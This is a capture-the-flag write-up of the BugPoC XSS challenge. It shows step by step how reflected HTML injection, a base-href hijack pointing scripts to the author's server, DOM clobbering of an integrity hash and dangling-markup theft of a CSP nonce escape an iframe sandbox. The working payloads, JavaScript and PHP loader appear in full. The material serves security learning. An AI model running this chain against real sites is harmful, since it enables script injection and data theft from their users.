BugPoC XSS Challenge Writeup
Bypassing Content-Security-Policy and escaping an iframe sandbox.
A technical XSS challenge writeup of call alert(origin) function on wacky.buggywebsite.com bypassing Content-Security-Policy and escaping an iframe sandbox.
wacky.buggywebsite.com is a web application that takes a message and creates an amazing full-colored text (colored text like this... is not every ones cup of tea!):
In order to do this, the Wacky web application includes another page "frame.html" inside an iframe
HTML tag. This web application puts the user's text inside param
querystring argument.
As you can see I can't view "frame.html" contents directly but this page needs to be included inside a frame. This is due to JavaScript that checks if frame.html is inside a frame with name "iframe" and if not it overwrites the page content with the message in the screenshot above (it's the classic Jurassic Park scene "Ah ah ah, you didn't say the magic word").
frame.html/?param=...
querystring argument's value is reflected inside the page's <title>
HTML tag. This could lead to HTML/JavaScript injection.
Anyway, before trying to inject something on param
querystring argument, I need to include "frame.html" inside an iframe
. So, I can include the page itself by injecting an iframe
HTML tag with the name
attribute having value "iframe" using the following payload:
/frame.html?param=</title><iframe+name="iframe"+src="/frame.html?param=ah+ah+ah..."></iframe><!--
Perfect! Now I can start to inject JavaScript code and try to call the alert(origin)
function to solve the challenge.
Due to the Content Security Policy, is not possible to inject a <script> tag to make the browser executes JavaScript without knowing the nonce random string that the web application randomly generates on each HTTP request (for more information about Content Security Policy and CSP nonce you can read the Scott Helme CSP introduction guide here: https://scotthelme.co.uk/content-security-policy-an-introduction/):
inside the src
attribute of injected iframe, I tried without success this:
/frame.html?param=</title><script>alert(origin)</script>
Searching inside the frame.html source code, I found something interesting that reminded me an great article by Gareth Heyes about DOM Clobbering (https://portswigger.net/research/dom-clobbering-strikes-back) in this part of the frame.html JavaScript code:
Moreover, another interesting part of the same script is that it includes the JavaScript file files/analytics/js/frame-analytics.js
without specifying the base URI:
This file is included with the integrity
attribute that checks if the hashed JavaScript content match with the "hard-coded" hash unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=
.
So, basically I can try to makes the brwoser load "frame-analytics.js" file from my webserver (I'll use my test blog.b000t.com domain) by injecting a <base href="">
HTML tag, and then I can try exploit the DOM Clobbering technique to overwrite the fileIntegrity.value
by injecting an HTML tag with id "fileIntegrity" and an arbitrary hash value that is converted to an HTMLCollection and could overwrite the fileIntegrity.value
variable.
Doing it I can change the integrity value to allow my "fake" frame-analytics.js file contents and try to execute JavaScript code from there. So, first I need to inject:
<base href='//blog.b000t.com'>
and then
<textarea id='fileIntegrity'>hash-value</textarea>
You can generate SRI hashes from the command-line with openssl using a command invocation such as this:
cat frame-analytics.js | openssl dgst -sha256 -binary | openssl base64 -A
In my case, the injected payload becomes:
</title><base href='//blog.b000t.com'><textarea id='fileIntegrity'>KtpYtKZPdA1nxdIyn2gcsBgZPKyhF+Smemo/SjahoLk=</textarea>
Now, inside files/analytics/js/frame-analytics.js
I can try to execute some JavaScript like console.log("ok")
. Let's try:
Ok, now I'm able to load the files/analytics/js/frame-analytics.js
script from my remote webserver and I can include JavaScript code on it!
The problem now is that "frame-analytics.js" is loaded inside an iframe
tag with the sandbox
attribute configured with allow-scripts allow-same-origin
options. In order to call the alert
JavaScript function, I need the allow-modal
option and if I try to replace my console.log("ok")
with a alert(origin)
this is the result:
Ok, from here I’ve complicated a bit all the exploiting process (as usual). Here you can just call alert
from the top window object, something like: window.top.alert(origin)
. For some reason I didn’t and I started to find a way to steal the nonce random string to bypass CSP...
My idea is to create a new <script>
element outside the sandboxed iframe
(using something like window.top.document.createElement()
) but it would be blocked by the Content Security Policy because it prevents to execute inline JavaScript code without the random nonce string. So, I need to "steal" the nonce random string from somewhere in the HTML code by using a technique called "Dungling Markup Attack" https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Dangling markup is a technique to steal the contents of the page without script by using resources such as images to send the data to a remote location that an attacker controls. It is useful when reflected XSS doesn't work or is blocked by Content Security Policy (CSP). The idea is you inject some partial HTML that is in an unfinished state such as a src attribute of an image tag, and the rest of the markup on the page closes the attribute but also sends the data in-between to the remote server.
I want to change my injection payload adding a new HTML tag (pippo) with an unclosed attribute (asd):
</title><base href='//blog.b000t.com'><textarea id="fileIntegrity">hash</textarea><pippo asd='
As you can see in the screenshot above, the injected (and not closed) attribute "asd" now has taken a part of the adjacent <script> tag with the nonce attribute. Now the nonce value has become an attribute name with an empty value. I want to write a JavaScript code inside my "fake" frame-analytics.js file to parse that argument name and use it as a nonce attribute to create a brand new <script> tag to execute alert(origin)
.
var guessednonce = window.top.document.getElementsByTagName("iframe")[0].contentDocument.getElementsByTagName("pippo")[0].attributes[1].name.substring(0,12)
script = document.createElement('script');
script.setAttribute('src', 'asd.php?nonce='+guessednonce);
document.body.appendChild(script);
The first line of the JavaScript above, tries to select the nonce value from the injected pippo HTML tag by selecting the iframe
from window.top.document object
and then select pippo
element from it and get the list of attributes names:
Now I have the nonce value! The 2nd, 3rd and 4th lines of the JavaScript above creates a new <script> element that includes an external JavaScript from my webserver passing the nonce value on the nonce querystring argument asd.php?nonce='+guessednonce
. Actually, the remote script is a PHP script on my webserver. Let's try to reload:
As you can see, my browser tries to include "asd.php" javascript from my remote webserver. Now I need to create the "asd.php" script that takes the nonce value from $_GET["nonce"]
and use it to create another <script> element with the correct nonce attribute. Here is it:
<?php
header('Content-Type: application/javascript');
echo "
script = document.createElement('script');
script.setAttribute('src', '//blog.b000t.com/end.js');
script.setAttribute('nonce', '".$_GET["nonce"]."');
window.top.document.getElementsByTagName('iframe')[0].contentDocument.body.appendChild(script);
";
?>
As you can see, my script creates again another <script> element with the stolen random nonce as the value of nonce attribute, and insert it inside the first iframe element. Doing it, I should be able to execute any JavaScript code inside "end.js" script loaded from my website and allowed by the web application Content Security Policy nonce random string:
Ok, now my browser tries to load "end.js" from my remote webserver. So, I can finally put alert(origin)
inside it and let execute it:
Solved!
Conclusion
This is just my solution, I really don't know if it's the easiest way to solve it or if there're other ways for solving it. If you have different solutions, please let me know by tagging me on Twitter @AndreaTheMiddle
Follow @AndreaTheMiddle